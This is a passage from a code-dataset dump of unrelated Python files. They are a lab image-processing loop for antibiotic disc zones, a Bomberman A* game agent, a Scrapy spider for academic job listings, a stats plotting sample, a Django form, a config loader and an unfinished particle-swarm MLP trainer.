discs)\n funcall.get_disc_locations(discs)\n rgb_discs = funcall.load_image(rgb_path)\n funcall.draw_discs(rgb_discs, discs)\n funcall.save_image(rgb_discs, discs_rgb_path)\n zones = funcall.find_zones(rgb_img, discs)\n funcall.save_zones(zones, zones_path)\n return abx_names\n\n\ndef returnTrue(filename, param):\n while True:\n try:\n _n1 = requestpost(filename, param)\n if _n1.status_code == 200:\n for _i in _n1.text:\n if _i == \"1\":\n return True\n elif _n1.status_code != 200:\n transactionReset()\n except Exception as e_rt:\n exceptionprint(\"returnTrue\", e_rt)\n\n\ndef dowload_img():\n while True:\n try:\n imgrequest = urllib.request.urlopen(imgurl)\n downloadimg = np.asarray(bytearray(imgrequest.read()), dtype=np.uint8)\n downimg = cv2.imdecode(downloadimg, -1)\n cv2.imwrite(\"tryimg.png\", downimg)\n return\n except Exception as e_im:\n exceptionprint(\"locateImgdisc\", e_im)\n\n\n# noinspection PyShadowingNames\ndef mkdirector(test_id):\n raw_dir = Path(r'' + imgbase + str(test_id) + '/raw')\n rgb_dir = Path(r'' + imgbase + str(test_id) + '/rgb')\n discs_dir = Path(r'' + imgbase + str(test_id) + '/discs')\n zones_dir = Path(r'' + imgbase + str(test_id) + '/zones')\n feat_dir = Path(r'' + imgbase + str(test_id) + '/feat')\n discs_rgb_dir = Path(r'' + imgbase + str(test_id) + '/discs_rgb') # discs drawn on rgb image\n discs_abx_dir = Path(r'' + imgbase + str(test_id) + '/discs_abx') # discs abx text as text files\n zones_rgb_dir = Path(r'' + imgbase + str(test_id) + '/zones_rgb') # zones drawn on rgb image\n zones_adj_dir = Path(r'' + imgbase + str(test_id) + '/zones_adj') # adjusted zones as text files\n zones_rgb_adj_dir = Path(r'' + imgbase + str(test_id) + '/zones_rgb_adj') # adjusted zones draw on rgb img\n\n for d in [raw_dir,\n rgb_dir,\n discs_dir,\n discs_rgb_dir,\n discs_abx_dir,\n zones_dir,\n zones_rgb_dir,\n zones_adj_dir,\n feat_dir,\n zones_rgb_adj_dir]:\n d.mkdir(parents=True, exist_ok=True)\n\n\n# noinspection PyUnboundLocalVariable,PyShadowingNames,SpellCheckingInspection\ndef locateImgdisc():\n print(\"================\")\n print(\"Locate discs\")\n starttime = datetime.datetime.now()\n global test_id\n dowload_img()\n test_id = get_test_id()\n\n mkdirector(test_id=test_id)\n discs = locatediscs(_id=test_id)\n\n antibioticfound = dict()\n for f, nm in discs.items():\n for k, name in enumerate(nm):\n if k == 0:\n antibioticfound[f] = name\n set_test_phase(0)\n print(len(discs), \"discs found\")\n shutil.copy(imgbase + str(test_id) + \"/discs_rgb/\" + str(test_id) + \".png\",\n imglocationhome + \"discsfound/discsfound.png\")\n if returnTrue(\"emptyTempTable\", {}):\n for _, val in antibioticfound.items():\n returnTrue(\"insertTempAntibiotic\", {\"temp_abx\": val})\n set_test_phase(2)\n\n print(\"Duration\", (datetime.datetime.now() - starttime).seconds, \"sec\")\n set_test_phase(1, cond=True)\n print(\"================\")\n print()\n\n\ndef process_img():\n global test_id\n test_id, discs = get_test_id(), {}\n set_test_phase(1, cond=True)\n set_test_phase(5)\n test_id -= 1\n print(\"================\")\n starttime = datetime.datetime.now()\n print(test_id)\n getTestant = requestpost(\"getAntibioticsToProcess\", {\"sample_id\": test_id})\n if getTestant.status_code != 200:\n transactionReset()\n elif getTestant.status_code == 200:\n for _k, ant in enumerate(getTestant.json()[\"abx_name_obj\"]):\n discs[_k] = ant[\"abx_code\"]\n\n print(\"Find zones\")\n new_abx_code(test_id, discs)\n\n raw_dir = Path(r'' + imgbase + str(test_id) + '/raw')\n zones_dir = Path(r'' + imgbase + str(test_id) + '/zones')\n\n raw_path = raw_dir / (str(file) + '.png')\n zones_path = zones_dir / (str(file) + '.txt')\n rgb_dir = Path(r'' + imgbase + str(test_id) + '/rgb')\n zones_rgb_dir = Path(r'' + imgbase + str(test_id) + '/zones_rgb') # zones drawn on rgb image\n zones_rgb_path = zones_rgb_dir / f'{test_id}.png'\n rgb_path = rgb_dir / f'{test_id}.png'\n\n rgb_img = funcall.crop_raw(raw_path)\n disks = funcall.find_discs(rgb_img)\n funcall.get_disc_locations(disks)\n\n zones = funcall.find_zones(rgb_img, disks)\n funcall.save_zones(zones, zones_path)\n\n # draw zones on rgb image\n rgb_zones = funcall.load_image(rgb_path)\n discloc = funcall.draw_discs(rgb_zones, disks)\n\n newdis = funcall.draw_zones(rgb_zones, zones)\n funcall.save_image(rgb_zones, zones_rgb_path)\n\n dists = {}\n\n set_test_phase(2, cond=True)\n\n if returnTrue(\"deleteZoneIfFound\", {\"sample_id\": test_id}):\n for a in discloc:\n returnTrue(\"insertTestZone\",\n {\"discs\": str(discloc[a]),\n \"sample_id\": test_id})\n for _d in newdis:\n dists[_d] = newdis[_d]\n\n while True:\n getTestdisc = requestpost(\"getDiscId\", {\"sample_id\": test_id})\n if getTestdisc.status_code == 200:\n for dis, disc_num in zip(dists,\n getTestdisc.json()[\"discs\"]):\n updateDiscdata = {\"distances\": (dists[dis]),\n \"sample_id\": test_id,\n \"disc_num\": disc_num[\"disc_id\"]}\n returnTrue(\"updateDisc\", updateDiscdata)\n break\n elif getTestdisc.status_code != 200:\n transactionReset()\n\n shutil.copy(imgbase+str(test_id) + \"/zones_rgb/\" + str(test_id) + \".png\",\n imglocationhome + \"zonesfoundIm\" + str(test_id) + \".png\")\n set_test_phase(3, cond=True)\n set_test_phase(6)\n set_test_phase(4, cond=True)\n print(\"Duration\", (datetime.datetime.now() - starttime).seconds, \"sec\")\n print(\"================\")\n print()\n\n\nif __name__ == '__main__':\n\n imglocationhome = \"assets/img/\"\n url = \"http://localhost:8085/open-amr/\"\n cwdpath = \"php-scripts/\"\n domain = url + cwdpath\n imgurl = url + \"img/tryimg.png\"\n set_test_phase(4)\n test_id = 0\n imgbase = \"assets/testfiles/\"\n file = \"tryimg\"\n while True:\n try:\n getStatus = requestpost(\"getTestStatus\", {})\n if getStatus.status_code == 200:\n for state in getStatus.json()[\"teststatus\"]:\n if state[\"status\"] == \"1\":\n locateImgdisc()\n elif state[\"status\"] == \"4\":\n process_img()\n except Exception as e_start:\n exceptionprint(\"Main process\", e_start)\n","sub_path":"doInbackground.py","file_name":"doInbackground.py","file_ext":"py","file_size_in_byte":10896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"195041878","text":"# This is necessary to find the main code\nimport sys\nimport random\nimport math\n\nsys.path.insert(0, '../bomberman')\n# Import necessary stuff\nfrom entity import CharacterEntity\nfrom colorama import Fore, Back\nimport random\n\n'''A priority queue class for A* to use'''\n\n\nclass PriorityQueue():\n def __init__(self):\n self.queue = []\n\n def __str__(self):\n return ' '.join([str(i) for i in self.queue])\n\n # for checking if the queue is empty\n def empty(self):\n if self.size() != 0:\n return False\n else:\n return True\n\n def size(self):\n return len(self.queue)\n\n # for inserting an element in the queue\n def put(self, data, priority):\n self.queue.append((priority, data))\n # print(\"ADDING TO QUEUE\", (priority, data))\n self.queue.sort() # TODO put items in queue more inteligently if we have time\n\n def get(self):\n if not self.empty():\n return self.queue.pop(0)\n # print(\"QUEUE\", self.queue)\n\n else:\n print(\"ERROR: QUEUE EMPTY\")\n\n\nclass TestCharacter(CharacterEntity):\n saved_bomb_loc = (None, None)\n fuse = -1\n explosion_loc = []\n last_loc = (0, 0)\n repeat_count=0\n super_repeat=0\n monster_search_rad = 3\n extra_wall_wt=0\n start_loc=(0,0)\n has_moved=False\n\n\n # return the '' dist '' between two tuples\n def distance(self, a, b):\n (x1, y1) = a\n (x2, y2) = b\n d = abs(x1 - x2) + abs(y1 - y2)\n # d=math.sqrt(math.pow(abs(x1 - x2),2) + math.pow(abs(y1 - y2),2))\n # print(\"distance\", a, b, d)\n return d\n\n # returns all valid neighbors\n def get_neighbors(self, wrld, x, y):\n # List of empty cells\n cells = []\n # Go through neighboring cells\n for dx in [-1, 0, 1]:\n # Avoid out-of-bounds access\n if ((x + dx >= 0) and (x + dx < wrld.width())):\n for dy in [-1, 0, 1]:\n # Avoid out-of-bounds access\n if ((y + dy >= 0) and (y + dy < wrld.height())):\n # Is this cell walkable?\n if not wrld.explosion_at(x + dx, y + dy):\n cells.append((x + dx, y + dy))\n # All done\n return cells\n\n # return true if a monster is present within a certain radius of a location\n def monseter_search(self, wrld, x, y, radius):\n # Go through neighboring cells\n # print(\"monster searching\")\n for dx in range(-radius, radius):\n # Avoid out-of-bounds access\n if ((x + dx >= 0) and (x + dx < wrld.width())):\n for dy in range(-radius, radius):\n # Avoid out-of-bounds access\n if ((y + dy >= 0) and (y + dy < wrld.height())):\n # print(\"searching cell,\", x + dx, y + dy)\n if wrld.monsters_at(x + dx, y + dy):\n # print(\"returining ture\")\n return True\n return False\n\n # Returns x, y coordinate of monster\n def monseter_search_2(self, wrld, x, y, radius):\n # Go through neighboring cells\n for dx in range(-radius, radius):\n # Avoid out-of-bounds access\n if ((x + dx >= 0) and (x + dx < wrld.width())):\n for dy in range(-radius, radius):\n # Avoid out-of-bounds access\n if ((y + dy >= 0) and (y + dy < wrld.height())):\n if wrld.monsters_at(x + dx, y + dy):\n return (x + dx, y + dy)\n\n # return a list of neighbors that are valid moves and don't kill you\n def get_box_score(self, wrld, loc):\n x = loc[0]\n y = loc[1]\n # Go through neighboring cells\n count = 0\n\n for dx in [-2, 0, 2]:\n # Avoid out-of-bounds access\n if not ((x + dx >= 0) or not (x + dx < wrld.width())):\n #print(\"workingAAA\")\n count += 2\n\n if ((x + dx >= 0) and (x + dx < wrld.width())):\n for dy in [-2, 0, 2]:\n # Avoid out-of-bounds access\n if not ((y + dy >= 0) or not (y + dy < wrld.height())):\n #print(\"workingBBB\")\n count += 2\n if ((y + dy >= 0) and (y + dy < wrld.height())):\n # Is this cell walkable?\n if wrld.wall_at(x + dx, y + dy):\n count += 1\n # All done\n #print(\"BOX SCORE \", x, y, \" SCORE\", count)\n return count\n\n # an implementation of A* takes in the world graph from bomberman, start(tuple), goal(tuple) and returns a dict of came from locations\n def astar(self, graph, start, goal):\n frontier = PriorityQueue()\n frontier.put(start, 0)\n came_from = {}\n cost_so_far = {}\n came_from[start] = None\n cost_so_far[start] = 0\n\n\n while not frontier.empty(): # while I am not done\n current_cost, current_loc = frontier.get() # get the lowest scored value from the priority queue\n if current_loc == goal: # if done break\n break\n neighbors = self.get_neighbors(graph, current_loc[0],\n current_loc[1]) # find all valid neighbors for the current cell\n for next in neighbors: # for each neigbor\n\n # calculate the cost of moving to the neighbor\n if not graph.wall_at(next[0], next[1]):\n graph_cost = 1\n elif graph.wall_at(next[0], next[1]):\n graph_cost = graph.bomb_time + 20 +self.extra_wall_wt\n if self.monseter_search(graph, next[0], next[1], 1):\n graph_cost = 60\n if self.will_explode(next[0], next[1]):\n graph_cost = 80\n\n new_cost = current_cost + graph_cost # sum the cost to get here\n if next not in cost_so_far or new_cost < cost_so_far[\n next]: # if no value saved for the cell or a better value found\n cost_so_far[next] = new_cost # save the value\n priority = new_cost + self.distance(goal, next) # f=g+h\n frontier.put(next,\n priority) # put the value into the queue as a tuple of a loc tuple and the prioity rank in the queue\n came_from[next] = current_loc # update the path dictionary\n return came_from, cost_so_far\n\n # Returns x, y coordinate that goes away from monster\n def avoid_mon(self, graph):\n if self.monseter_search(graph, self.x, self.y, 3):\n mon_at = self.monseter_search_2(graph, self.x, self.y, 3)\n relative_mon = (mon_at[0] - self.x, mon_at[1] - self.y)\n init_dest = (-1 * relative_mon[0], -1 * relative_mon[1])\n if init_dest[0] != 0:\n init_dest = (init_dest[0] / abs(init_dest[0]), init_dest[1])\n if init_dest[1] != 0:\n init_dest = (init_dest[0], init_dest[1] / abs(init_dest[1]))\n\n if (self.x + init_dest[0]) < 0:\n init_dest = (init_dest[0] + 1, init_dest[1])\n elif (self.x + init_dest[0]) >= graph.width():\n init_dest = (init_dest[0] - 1, init_dest[1])\n if (self.y + init_dest[1]) < 0:\n init_dest = (init_dest[0], init_dest[1] + 1)\n elif (self.y + init_dest[1]) >= graph.height():\n init_dest = (init_dest[0], init_dest[1] - 1)\n projected_dest = (self.x + init_dest[0], self.y + init_dest[1])\n return projected_dest\n safe = self.look_for_empty_cell(graph)\n (dx, dy) = random.choice(safe)\n return (self.x + dx, self.y + dy)\n # Returns x, y coordinate that goes away from monster\n\n def avoid_mon2(self, graph, radius):\n #print(\"avoiding mon2\")\n if self.monseter_search(graph, self.x, self.y, radius):\n monster_loc = self.monseter_search_2(graph, self.x, self.y, radius)\n safe = self.look_for_empty_cell(graph)\n frontier = PriorityQueue()\n # frontier.put((self.x, self.y), 0)\n for loc in safe:\n new_loc = (self.x + loc[0], self.y + loc[1])\n if (new_loc == (self.x, self.y)):\n frontier.put(new_loc, 999)\n elif new_loc==self.last_loc:\n frontier.put(new_loc,888)\n else:\n print(\"for move: \",loc[0],loc[1])\n #BEST: t=1.75,g=.75,b=.75\n kT=20#2\n kG=.25#1\n kB=.75#.5\n threat_score = -1 * self.distance(new_loc, monster_loc)\n goal_score = self.distance(new_loc, graph.exitcell)\n box_score = self.get_box_score(graph, new_loc)\n print(\"scoresT G B\", threat_score*kT,goal_score*kG,box_score*kB)\n score = threat_score * kT + goal_score *kG + box_score *kB\n frontier.put(new_loc, (score))\n #print(\"Frontier\")\n\n current_cost, current_loc = frontier.get()\n return (current_loc)\n else:\n print(\"ERROR: No monster found\")\n return (self.x, self.y)\n\n def monster_inrange(self, wrld):\n for i in range(-4, 5):\n if wrld.monsters_at(self.x + i, self.y):\n return True\n for j in range(-4, 5):\n if wrld.monsters_at(self.x, self.y + j):\n return True\n return False\n\n # function to place a bomb but also save the predicted explosion location\n def smart_place_bomb(self, x, y, fuse_time):\n if (self.fuse < 0):\n self.fuse = fuse_time + 2\n self.place_bomb()\n self.saved_bomb_loc = (self.x, self.y)\n self.explosion_loc.clear()\n for i in range(-4, 5):\n self.explosion_loc.append((x + i, y))\n for j in range(-4, 5):\n self.explosion_loc.append((x, y + j))\n\n # function to check if a cell will explode next turn\n def will_explode(self, x, y):\n if (self.fuse <= 2) and self.fuse != -1:\n if (x, y) in self.explosion_loc:\n return True\n return False\n\n # counts down the fuse, must be called each turn\n def update_fuse(self):\n if (self.fuse >= -1):\n self.fuse = self.fuse - 1\n if (self.fuse == -2):\n self.explosion_loc.clear() # bug fix for list not clearing properly\n\n # return a list of neighbors that are valid moves and don't kill you\n def look_for_empty_cell(self, wrld):\n # List of empty cells\n cells = []\n # Go through neighboring cells\n for dx in [-1, 0, 1]:\n # Avoid out-of-bounds access\n if ((self.x + dx >= 0) and (self.x + dx < wrld.width())):\n for dy in [-1, 0, 1]:\n # Avoid out-of-bounds access\n if ((self.y + dy >= 0) and (self.y + dy < wrld.height())):\n # Is this cell walkable?\n if not wrld.wall_at(self.x + dx, self.y + dy) and not self.will_explode(self.x + dx,\n self.y + dy) and not wrld.monsters_at(\n self.x + dx, self.y + dy) and not wrld.explosion_at(self.x + dx, self.y + dy):\n cells.append((dx, dy))\n # All done\n return cells\n\n def do(self, wrld):\n print(\"\")\n dx = 0\n dy = 0\n default_rad=4\n if not self.has_moved:\n self.has_moved=True\n self.start_loc=(self.x,self.y)\n print(\"SEARCH RAD\",self.monster_search_rad)\n\n if self.monster_search_rad>8:\n self.monster_search_rad=default_rad\n if self.fuse > 0:\n jc_ABOMB = True\n self.extra_wall_wt=9999\n else:\n jc_ABOMB = False\n self.extra_wall_wt=0\n\n if self.monseter_search(wrld, self.x, self.y, self.monster_search_rad): # avoid monster behavior\n print(\"--AVOIDING MONSTER\")\n # safe = self.look_for_empty_cell(wrld)\n # (dx, dy) = random.choice(safe)\n # if(self.monseter_search(wrld,self.x,self.y,2)):\n # self.smart_place_bomb(self.x, self.y, wrld.bomb_time)\n if (self.monster_inrange(wrld)):\n self.smart_place_bomb(self.x, self.y, wrld.bomb_time)\n elif(self.monseter_search(wrld,self.x,self.y,3)):\n self.smart_place_bomb(self.x,self.y,wrld.bomb_time)\n\n self.monster_search_rad+=1\n target = self.avoid_mon2(wrld, self.monster_search_rad)\n print(\"Target = \", target)\n path, cost = self.astar(wrld, (self.x, self.y), target)\n step_list = [target]\n elif (jc_ABOMB):\n print(\"--RANDOM**NEW\")\n\n path, cost = self.astar(wrld, (self.x, self.y), (self.start_loc)) # do A*\n step_list = [wrld.exitcell]\n\n\n # if self.will_explode(self.x + dx, self.y + dy): # never step into an explosion\n # safe = self.look_for_empty_cell(wrld)\n # (dx, dy) = random.choice(safe)\n else:\n self.monster_search_rad=default_rad\n print(\"--A*\")\n path, cost = self.astar(wrld, (self.x, self.y), (wrld.exitcell)) # do A*\n step_list = [wrld.exitcell]\n\n # TODO remove debug prints in final sumbission\n print(\"path\", path)\n\n print(\"fuse\", self.fuse)\n print(\"will explode\", self.explosion_loc)\n print(\"current loc\", self.x, \" \", self.y)\n\n # print(\"debuging:\")\n # print(self.get_box_score(wrld,(0,3)))\n # print(self.get_box_score(wrld,(2,3)))\n # print(\"///sss\")\n # TODO remove debug prints in final sumbission\n\n # turn dict into a list\n # step_list = [wrld.exitcell]\n\n # Go until we find None as our \"came from\"\n ok = True\n\n while ok:\n try:\n # Find where frontmost node came from\n came_from = path[step_list[0]]\n #print(\"working\", came_from)\n # If that position is None (IE the first move), break out of the while loop\n if came_from is None:\n break\n else:\n step_list = [came_from] + step_list\n except: # if A* doesn't find a solution\n ok = False\n break\n\n if ok:\n tx, ty = step_list[1]\n\n # Compute deltas\n dx = tx - self.x\n dy = ty - self.y\n\n # make sure dx dy are valid\n if (dx > 1):\n dx = 1\n if dy > 1:\n dy = 1\n if dx < -1:\n dx = 1\n if dy < -1:\n dy = -1\n\n # place a bomb if pathing through a wall\n if wrld.wall_at(self.x + dx, self.y + dy):\n self.smart_place_bomb(self.x, self.y, wrld.bomb_time)\n\n # Done in avoid_mon\n # if self.fuse > 0 and not self.monseter_search(wrld, self.x, self.y, 2):\n # if self.will_explode(self.x + dx, self.y + dy): # never step into an explosion\n # safe = self.look_for_empty_cell(wrld)\n # (dx, dy) = random.choice(safe)\n if(self.repeat_count>6):\n self.repeat_count=0\n self.super_repeat+=1\n print(\"WARNING MOVING RAND\")\n # if self.super_repeat>3:\n safe = self.look_for_empty_cell(wrld)\n if(self.super_repeat>3):\n self.super_repeat=0\n self.smart_place_bomb(self.x, self.y, wrld.bomb_time)\n\n (dx, dy) = random.choice(safe)\n\n if self.last_loc == (self.x + dx, self.y + dy):\n self.repeat_count += 1\n # self.smart_place_bomb(self.x, self.y, wrld.bomb_time)\n # self.super_repeat=0\n\n\n self.last_loc = (self.x, self.y)\n\n #last check never steip into bomb\n if jc_ABOMB:\n print(\"a bomb! \",dx,dy)\n if self.will_explode(self.x + dx, self.y + dy): # never step into an explosionor (((self.x,self.y)==self.last_loc)and (dx!=0 or dy!=0))\n safe = self.look_for_empty_cell(wrld)\n (dx, dy) = random.choice(safe)\n print(\"emergency random\")\n\n self.update_fuse() ##runs the count down each turn\n print(\"moving\",dx,dy)\n self.move(dx, dy) # execute our final decided on motion\n","sub_path":"Bomberman/group28/testcharacter_astar4.py","file_name":"testcharacter_astar4.py","file_ext":"py","file_size_in_byte":16851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"121516412","text":"# -*- coding: utf-8 -*-\n\"\"\"This file is a Academicpositions spider created on top of the ATSSpider\nscrapy crawl academicpositions -a url=\"http://academicpositions.nl\" -a mining_job_id=999 -a iteration=1 -a extract=1\nsample url:\n http://academicpositions.nl\n\"\"\"\nfrom urlparse import urljoin\nfrom re import compile\n\nfrom scrapy.selector import Selector\nfrom scrapy.http import Request\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix\n\n\nclass Academicpositions(ATSSpider):\n\n name = \"academicpositions\"\n download_delay = 0.5\n url_fragmentanchor = \"?s=\"\n ref_re = compile(\".*\\/(\\d+)\")\n tld_re = compile(\"\\.([a-zA-Z0-9)]*)\")\n company_locs = {}\n tld = \"\"\n\n def __init__(self, *args, **kwargs):\n super(Academicpositions, self).__init__(self, *args, **kwargs)\n if 'url' in kwargs:\n res = self.tld_re.search(kwargs['url'])\n if res:\n self.tld = res.group(1)\n\n def parse(self, response):\n sel = Selector(response)\n # set expected job count\n if not self.expected_job_count_set:\n jobcount = sel.xpath(\n \"//div[@class='search-result-summary']/p/em/text()\"\n ).extract()\n if jobcount:\n self.expected_job_count = jobcount[0]\n\n jobs = sel.xpath(\"//li[@class='job']\")\n for job in jobs:\n job_link = job.xpath(\n \"./div[@class='job-info']/div[@class='job-info-title']/h3[@class='job-title']/a/@href\"\n ).extract()\n if job_link:\n meta = {\n 'title': job.xpath(\n \"./div[@class='job-info']/div[@class='job-info-title']/h3[@class='job-title']/a/text()\"\n ).extract(),\n 'company': job.xpath(\n \"./div[@class='job-info']/div[@class='job-info-title']/h4[@class='job-employer-name']/a/text()\"\n ).extract(),\n 'location': job.xpath(\n \".//dt[@class='location']/following-sibling::dd[1]/a/text()\"\n ).extract()\n }\n req = Request(\n job_link[0], meta=meta, callback=self.parse_job_callback()\n )\n if meta['company']:\n company = meta['company'][0]\n # if company url parsed and company_locs is updated then\n # take that location directly\n if self.company_locs.get(company, {}).get(\"location\", \"\"):\n req.meta['location'] = self.company_locs.get(company, {}).get(\"location\", \"\")\n yield req\n # for new company request company url, initialize\n # pending_req queue\n elif company not in self.company_locs:\n self.company_locs[company] = {\n \"location\": \"\",\n \"pending_req\": [req]\n }\n company_link = job.xpath(\n \".//div[@class='job-info-title']/h4[@class='job-employer-name']/a/@href\"\n ).extract()\n if company_link:\n yield Request(\n company_link[0],\n meta={\"company\": meta[\"company\"][0]},\n callback=self.parse_company\n )\n # if company location requested and response didnt came,\n # then add req in queue and wait\n elif not self.company_locs.get(company, {}).get(\"location\", \"\"):\n self.company_locs[company][\"pending_req\"].append(req)\n\n next_page = sel.xpath(\n \"//a[starts-with(@class,'next')]/@href\"\n ).extract()\n if next_page:\n yield Request(\n urljoin(response.url, next_page[0]), callback=self.parse\n )\n\n def parse_company(self, response):\n \"\"\"company url request got a response, then find location now we can\n update location for all req which are waiting for location\"\"\"\n sel = Selector(response)\n location = sel.xpath(\"//div[@class='employer-map']/@data-address\").extract()\n if location:\n # update location in company_locs so that new requst can directly\n # take location\n self.company_locs[response.meta['company']][\"location\"] = location[0]\n # pop all pending request,update location and request\n while self.company_locs[response.meta['company']][\"pending_req\"]:\n req = self.company_locs[response.meta['company']][\"pending_req\"].pop()\n req.meta['location'] = \", \".join(location+req.meta['location'])\n yield req\n\n def parse_job(self, response):\n loader = BrightcorpItemLoader(response=response)\n loader.add_value(\"url\", response.url)\n loader.add_value(\"title\", response.meta['title'])\n loader.add_value(\"company\", response.meta['company'])\n loader.add_value(\"location\", response.meta['location'])\n loader.add_xpath(\n \"description\",\n \"//article[contains(@class,'js-gtm-single-job')]/node()[not(preceding-sibling::h4[strong[text()='Apply']])]\"\n )\n loader.add_value(\n \"referencenumber\", response.url,\n Prefix(\"%s-%s-\" % (self.name, self.tld)), re=self.ref_re\n )\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/academicpositions.py","file_name":"academicpositions.py","file_ext":"py","file_size_in_byte":5710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"554124642","text":"import devfx.statistics as stats\nimport devfx.data_vizualization as dv\n\n\"\"\"------------------------------------------------------------------------------------------------\n\"\"\" \nX = stats.distributions.normal(0.0, 1.0)\nE = stats.distributions.normal(0.0, 10.0)\n\nx = X(1024*4)\ny = lambda x: 2*x + E(x.size)\n\nprint(stats.series.corr(x, y(x)))\n\nfigure = dv.Figure(size=(8, 8), grid=(2,1))\n\nchart = dv.Chart2d(figure=figure, position=figure[0,0])\nchart.scatter(x, y(x))\n\nchart = dv.Chart2d(figure=figure, position=figure[1,0])\nstats.estimators.dhistogram.from_data(y(x), bin_count=16).on_chart(chart).bar()\n\nfigure.show()\n\n","sub_path":"solution/devfx_samples/statistics/mseries/correlation.py","file_name":"correlation.py","file_ext":"py","file_size_in_byte":618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"614173350","text":"from django import forms\nfrom .models import Author\nclass AuthorForm(forms.ModelForm):\n\n class Meta:\n model = Author\n fields = ('name','about','dob','country','language')\n\n def clean_about(self):\n content = self.cleaned_data.get('about')\n if len(content) > 140:\n raise forms.validationError('Thats too long for intro.') \n return content\n\n \n\n def clean(self,*args,**kwargs):\n data = self.cleaned_data()\n about = data.get('about')\n print(about)\n if about == '':\n about = None\n photo = data.get('images')\n if about is None and ohoto is None:\n raise forms.validationError('about or photo must be there.')\n\n super().clean(*args,**kwargs)","sub_path":"authors/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"407042563","text":"import yaml\n\n\ndef update_config(kbleJSON, config,\n argsString='sskb=', notesString='notes'):\n \"\"\" Load a configuration based on a default config and any overwritten\n parameters from a KBLE JSON output. \"\"\"\n\n # Parse the json's properties dict, assuming it's the first dict\n properties = {}\n map(properties.update, filter(lambda x: type(x) is dict, kbleJSON))\n\n # If there are notes, try to load them\n notes = properties.get(notesString, '')\n\n # Grab out any lines which start with the argsString and\n # replace the argsString with an empty string.\n configStrings = map(lambda x: x.replace(argsString, ''),\n filter(lambda x: x.startswith(argsString),\n notes.splitlines()))\n\n # Update the default config with the new arguments\n updatedConfig = {}\n updatedConfig.update(config)\n map(updatedConfig.update, map(yaml.safe_load, configStrings))\n\n # Return the new config\n return updatedConfig\n","sub_path":"plate_maker/_rewrite/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"310548702","text":"import numpy as np\nimport random\nfrom MLP import activation, diff_activation, norm, denorm, layer_sizes, random_sample, feed_forward\n\n# Initialize population and population_size\ndef initialize_population(X, Y, layers_dims):\n POPULATION_SIZE = 0\n for l in range(len(layers_dims)):\n POPULATION_SIZE += (layers_dims[l] * layers_dims[l+1])\n\n population = {}\n # assign weight and bias into blocks\n population[\"W\"] = np.random.randn((1, POPULATION_SIZE)) * 0.01\n population[\"b\"] = np.zeros((1, POPULATION_SIZE))\n\n return population, POPULATION_SIZE\n\n# initialize parameters\ndef initialize_parameters(X, Y, POPULATION_SIZE):\n PBest = {}\n GBest = {}\n velocity = {}\n hparameters = {}\n\n PBest[\"W\"] = np.zeros((1, POPULATION_SIZE)) + 9999\n GBest[\"b\"] = 9999\n velocity[\"W\"] = np.random.randn((1, POPULATION_SIZE)) * 0.01\n \n hparameters[\"r1\"] = np.random.uniform(0.0, 1.0)\n hparameters[\"r2\"] = np.random.uniform(0.0, 1.0)\n hparameters[\"c1\"] = np.random.randint(0, 4)\n hparameters[\"c2\"] = np.random.randint(0, 4)\n while(hparameters[\"c1\"] + hparameters[\"c2\"] > 4):\n hparameters[\"c1\"] = np.random.randint(0, 4)\n hparameters[\"c2\"] = np.random.randint(0, 4)\n \n hparameters[\"rho1\"] = hparameters[\"r1\"] * hparameters[\"c1\"]\n hparameters[\"rho2\"] = hparameters[\"r2\"] * hparameters[\"c2\"]\n\n return hparameters, PBest, GBest, velocity\n\n# Calculate Cost: Objective Function\ndef calculate_cost(AL, Y):\n cost = np.sin(AL) * np.sin(Y) * np.sqrt(AL * Y)\n \n cost = np.squeeze(cost)\n assert(cost.shape == ())\n \n return cost\n\n# Backprop: Global Best\ndef global_best(PBest, GBest, caches, cost):\n W = caches[1]\n B = caches[2]\n\n for w in W:\n # Personal Best\n for pbest in PBest[\"W\"]:\n if (cost < pbest):\n pbest = cost\n PBest[\"W\"] = w\n # Global Best\n if (cost < GBest[\"W\"]):\n gbest = cost\n GBest[\"W\"] = w\n\n for b in B:\n # Personal Best\n for pbest in PBest[\"b\"]:\n if (cost < pbest):\n pbest = cost\n PBest[\"b\"] = b\n # Global Best\n if (cost < GBest[\"b\"]):\n gbest = cost\n GBest[\"b\"] = b\n \n return PBest, GBest\n\n# Update velocity on each particle\ndef update_velocity(velocity, caches, PBest, GBest, hparameters):\n W = caches[1]\n B = caches[2]\n rho1 = hparameters[\"rho1\"]\n rho2 = hparameters[\"rho2\"]\n\n for w in W:\n velocity[\"W\"] = velocity[\"W\"] + (rho1 * (PBest[\"W\"] - w)) + (rho2 * (GBest[\"W\"] - w))\n for b in B:\n velocity[\"b\"] = velocity[\"b\"] + (rho1 * (PBest[\"b\"] - b)) + (rho2 * (GBest[\"b\"] - b))\n \n return velocity\n\n# Update weights and bias\ndef update_population(population, velocity):\n population[\"W\"] = population[\"W\"] + velocity[\"W\"]\n population[\"b\"] = population[\"W\"] + velocity[\"b\"]\n \n return population\n\n# MLP Model using PSO\ndef PSOmodel(X, Y, layers_dims, learning_rate, max_epoch, print_cost):\n np.random.seed(1)\n epsilon = 1e-6\n\n # initialize population\n population, POPULATION_SIZE = initialize_population(X, Y, layers_dims)\n\n # initialize parameters\n hparameters, PBest, GBest, velocity = initialize_parameters(X, Y, POPULATION_SIZE)\n\n for epoch in range(1, max_epoch+1):\n # Uniquely random train examples\n idx_x, X, Y = random_sample(X, Y)\n \n costs = []\n for idx in idx_x:\n # Train each example\n X_sample = np.array([[X[i][idx]] for i in range(X.shape[0])]) \n Y_sample = np.array([[Y[i][idx]] for i in range(Y.shape[0])])\n\n # Reshape population to FFN\n population_reshaped = split_reshape_population(population_selected, layers_dims)\n # Feed Forward\n AL, caches = feed_forward(X_sample, population_reshaped)\n # Calculate cost\n cost = 